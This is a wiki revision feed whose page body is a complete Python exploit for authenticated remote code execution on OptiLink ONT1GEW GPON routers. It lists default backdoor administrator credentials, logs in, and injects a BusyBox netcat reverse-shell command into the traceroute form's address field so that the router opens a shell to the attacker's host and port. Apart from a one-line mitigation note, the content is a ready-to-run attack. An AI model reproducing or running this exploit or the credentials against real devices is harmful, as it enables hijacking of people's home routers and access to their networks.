<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OptiLink_ONT1GEW_GPON_2.1.11_X101_Build_1127.190306_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OptiLink ONT1GEW GPON 2.1.11 X101 Build 1127.190306 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OptiLink_ONT1GEW_GPON_2.1.11_X101_Build_1127.190306_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OptiLink_ONT1GEW_GPON_2.1.11_X101_Build_1127.190306_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T01:17:10Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OptiLink_ONT1GEW_GPON_2.1.11_X101_Build_1127.190306_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4226&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated) # Date: 23/03/2021 # Exploit Authors:  Developed by...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OptiLink_ONT1GEW_GPON_2.1.11_X101_Build_1127.190306_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=4226&amp;oldid=prev"/>
		<updated>2021-06-07T12:02:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated) # Date: 23/03/2021 # Exploit Authors:  Developed by...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 23/03/2021&lt;br /&gt;
# Exploit Authors:  Developed by SecNigma and Amal.&lt;br /&gt;
# Vendor Homepage:  https://optilinknetwork.com/&lt;br /&gt;
# Version: ONT1GEW V2.1.11_X101 Build.1127.190306&lt;br /&gt;
# Mitigation: Ask the vendor to issue a router upgrade to Build.1653.210425 and above,&lt;br /&gt;
# as they do not release the firmware to the public for some unknown reason.&lt;br /&gt;
# Additional notes:			&lt;br /&gt;
# Tested on the following configuration. Might be suitable for other OptiLink devices with Build &amp;lt;= 1127.190306.&lt;br /&gt;
# Device Name: ONT1GEW&lt;br /&gt;
# Software Version:  V2.1.11_X101&lt;br /&gt;
# Build Information: Build.1127.190306 &lt;br /&gt;
# Chances are that XPONs of C-DATA company are affected too.&lt;br /&gt;
# Our research indicated that Optilink devices are just a rebranded version of C-Data.&lt;br /&gt;
# This exploit was tested on the following configuration.&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import argparse&lt;br /&gt;
import re&lt;br /&gt;
&lt;br /&gt;
def is_login_success(r):&lt;br /&gt;
	match=re.findall(&amp;quot;invalid username!|bad password!|you have logined error 3 consecutive times, please relogin 1 minute later!|another user have logined in&amp;quot;,r.text)&lt;br /&gt;
	if match:&lt;br /&gt;
	    return match&lt;br /&gt;
		&lt;br /&gt;
# Default configuration&lt;br /&gt;
# Router address   = 192.168.101.1&lt;br /&gt;
# LPORT 		   = 9001&lt;br /&gt;
# Default Username = e8c  / Backdoor     /&lt;br /&gt;
# Default Password = e8c /  Credentials /&lt;br /&gt;
&lt;br /&gt;
parser= argparse.ArgumentParser()&lt;br /&gt;
&lt;br /&gt;
parser.add_argument(&amp;quot;-t&amp;quot;, &amp;quot;--target&amp;quot;, dest = &amp;quot;target&amp;quot;, default = &amp;quot;192.168.101.1&amp;quot;, help=&amp;quot;Target OptiLink Router IP&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lhost&amp;quot;, dest = &amp;quot;lhost&amp;quot; , help=&amp;quot;Our Local IP to catch the shell!&amp;quot;, required=True)&lt;br /&gt;
parser.add_argument(&amp;quot;-lp&amp;quot;, &amp;quot;--lport&amp;quot;, dest = &amp;quot;lport&amp;quot;, default = &amp;quot;9001&amp;quot;, help=&amp;quot;Our Local port for catching the shell!&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;-u&amp;quot;, &amp;quot;--user&amp;quot;, dest = &amp;quot;user&amp;quot;, default = &amp;quot;e8c&amp;quot;, help=&amp;quot;Username of Optilink Router&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--pass&amp;quot;, dest = &amp;quot;passw&amp;quot;, default = &amp;quot;e8c&amp;quot;, help=&amp;quot;Password of Optilink Router&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
target=args.target,&lt;br /&gt;
lhost=args.lhost,&lt;br /&gt;
lport=args.lport,&lt;br /&gt;
user=args.user,&lt;br /&gt;
passw=args.passw&lt;br /&gt;
&lt;br /&gt;
# e8c:e8c are the backdoor administrator creds to Optilink devices&lt;br /&gt;
# Alternate backdoor credentials are  adsl:realtek, admin:admin.&lt;br /&gt;
user2=&amp;quot;e8c&amp;quot;&lt;br /&gt;
passw2=&amp;quot;e8c&amp;quot;&lt;br /&gt;
&lt;br /&gt;
home_url=&amp;quot;http://&amp;quot;+target[0]+&amp;quot;/boaform/admin/formLogin&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Trying to authenticate...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Authenticate ourselves first&lt;br /&gt;
data={'username':user, 'psd':passw}&lt;br /&gt;
r=requests.post(home_url,data)&lt;br /&gt;
&lt;br /&gt;
res=is_login_success(r)&lt;br /&gt;
if res:&lt;br /&gt;
	print(&amp;quot;[-] Exploit failed when using the following credentials: &amp;quot;+str(user)+&amp;quot;:&amp;quot;+str(passw)+&amp;quot;&amp;quot;)&lt;br /&gt;
	print(&amp;quot;[-] Exploit failed with the following error:&amp;quot;)&lt;br /&gt;
	print(res)&lt;br /&gt;
	print(&amp;quot;[!] Do you want to try to authenticate with the following credentials: &amp;quot;+str(user2)+&amp;quot;:&amp;quot;+str(passw2)+&amp;quot; ?&amp;quot;)&lt;br /&gt;
	val = input(&amp;quot;Press y or n : &amp;quot;)&lt;br /&gt;
	if val[0].lower()==&amp;quot;y&amp;quot;:&lt;br /&gt;
		print(&amp;quot;[+] Trying to authenticate with the credentials &amp;quot;+str(user2)+&amp;quot;:&amp;quot;+str(passw2)+&amp;quot;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		# Authenticate ourselves with new creds&lt;br /&gt;
		data={'username':user2, 'psd':passw2}&lt;br /&gt;
		r=requests.post(home_url,data)&lt;br /&gt;
		res2=is_login_success(r)&lt;br /&gt;
		&lt;br /&gt;
		if res2:&lt;br /&gt;
			print(&amp;quot;[-] Exploit failed when using the following credentials: &amp;quot;+str(user2)+&amp;quot;:&amp;quot;+str(passw2)+&amp;quot;&amp;quot;)&lt;br /&gt;
			print(&amp;quot;[-] Exploit failed with the following error:&amp;quot;)&lt;br /&gt;
			print(res2)&lt;br /&gt;
			print(&amp;quot;[-] Halting Execution.&amp;quot;)&lt;br /&gt;
			exit()&lt;br /&gt;
	else:&lt;br /&gt;
		print(&amp;quot;Received input &amp;quot;+val+&amp;quot;&amp;quot;)&lt;br /&gt;
		print(&amp;quot;[-] Halting Execution.&amp;quot;)&lt;br /&gt;
		exit()&lt;br /&gt;
	&lt;br /&gt;
print(&amp;quot;[+] Looks like authentication was succesful!&amp;quot;)&lt;br /&gt;
print(&amp;quot;[+] Trying to fetch the WAN Name...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Fetching Wan Name&lt;br /&gt;
# wan_name=&amp;quot;1_INTERNET_R_VID_***&amp;quot;&lt;br /&gt;
&lt;br /&gt;
get_wan_url = &amp;quot;http://&amp;quot;+target[0]+&amp;quot;/diag_ping.asp&amp;quot;&lt;br /&gt;
r=requests.get(get_wan_url)&lt;br /&gt;
&lt;br /&gt;
match=re.findall(&amp;quot;name=\&amp;quot;waninf\&amp;quot;&amp;gt;&amp;lt;option value=\&amp;quot;(.*?)\&amp;quot;&amp;gt;&amp;quot;,r.text)&lt;br /&gt;
wan_name=match[0]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Initiating Exploitation. Don't forget to start the nc listener on port &amp;quot;+str(lport)+&amp;quot;..&amp;quot;)&lt;br /&gt;
print(&amp;quot;[+] I'm Waiting...Said Captain Jagdish *wink* *wink*&amp;quot;)&lt;br /&gt;
print(&amp;quot;[+] If everything went right, you should've gotten a shell right now!&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Starting Exploitation&lt;br /&gt;
&lt;br /&gt;
# The same vulnerability exists in formPing and formTracert.&lt;br /&gt;
# exploit_url = &amp;quot;http://&amp;quot;+target[0]+&amp;quot;/boaform/admin/formPing&amp;quot;&lt;br /&gt;
exploit_url = &amp;quot;http://&amp;quot;+target[0]+&amp;quot;/boaform/admin/formTracert&amp;quot;&lt;br /&gt;
# Found a new way to get reverse shell using mknod instead of mkfifo during the exploitation of this router :)&lt;br /&gt;
# BusyBox binary used by this router was very limited and didn't had mkfifo. So, we got creative to workaround it.&lt;br /&gt;
# The payload is available at swisskeyrepo's PayloadAllTheThings GitHub repo as Netcat BusyBox payload.&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox&lt;br /&gt;
post_data='target_addr=&amp;quot;1.1.1.1+`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2&amp;gt;%261|nc+'+lhost[0]+'+'+lport[0]+'+&amp;gt;/tmp/f`&amp;quot;&amp;amp;waninf='+wan_name+'&amp;quot;'&lt;br /&gt;
r=requests.post(exploit_url,post_data)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>